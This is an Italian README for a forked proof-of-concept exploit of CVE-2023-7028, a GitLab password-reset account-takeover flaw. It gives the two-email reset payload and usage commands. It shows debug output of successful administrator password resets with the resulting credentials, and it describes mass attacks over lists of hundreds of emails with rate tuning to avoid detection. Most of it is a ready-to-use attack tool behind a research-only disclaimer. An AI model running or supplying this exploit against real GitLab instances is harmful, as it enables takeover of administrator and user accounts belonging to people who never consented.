szybnev/cve-2023-7028Questo FORK del repository presenta un proof-of-concept di CVE-2023-7028. Sto solo migliorando l'uso dell'exploit.
Questo codice è una proof of concept della vulnerabilità, non incoraggio nessuno a usarlo su istanze Gitlab di cui non si è proprietari. Questo strumento è stato sviluppato solo a scopo di ricerca e didattico e non sarò ritenuto responsabile per qualsiasi uso tu ne possa fare.
QUESTA È UNA FORK DEL REPO https://github.com/Vozec/CVE-2023-7028. Io ho solo migliorato l'uso dell'exploit.
CVE-2023-7028 si riferisce a una vulnerabilità di Account Take-Over che consente agli utenti di prendere il controllo dell'account amministratore di Gitlab senza interazione da parte dell'utente.
La vulnerabilità risiede nella gestione delle email durante il reset delle password. Un attaccante può fornire 2 email e il codice di reset verrà inviato a entrambe. È quindi possibile fornire l'indirizzo email dell'account target e quello dell'attaccante, e resettare la password dell'amministratore. (Gitlab sottolinea che l'autenticazione a due fattori impedisce lo sfruttamento di questa vulnerabilità, poiché un attaccante, anche dopo aver resettato la password, non sarà in grado di effettuare il login.)
Questa vulnerabilità è stata scoperta da asterion04
Ecco un esempio di payload
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: EU7XIYjlawjb5tH2jgmU
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt
[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20
[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful
$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]
This tool automates CVE-2023-7028 on gitlab
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)
-t per attaccare un singolo indirizzo email-l per caricare gli indirizzi email da un file (uno per riga)--evil, lo script usa una temp-mail pubblica per trovare il link di reset (attenzione durante i penetration test)--skip per inviare solo le richieste di reset senza attendere il reset della password (più veloce per attacchi di massa)-rps per controllare le richieste al secondo (default: 10). Valori più alti = più veloci ma più rilevabili# Singolo target con password personalizzata
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123
# Attacco di massa con rate limit più lento
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5
# Ricognizione rapida - solo invio richieste di reset
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50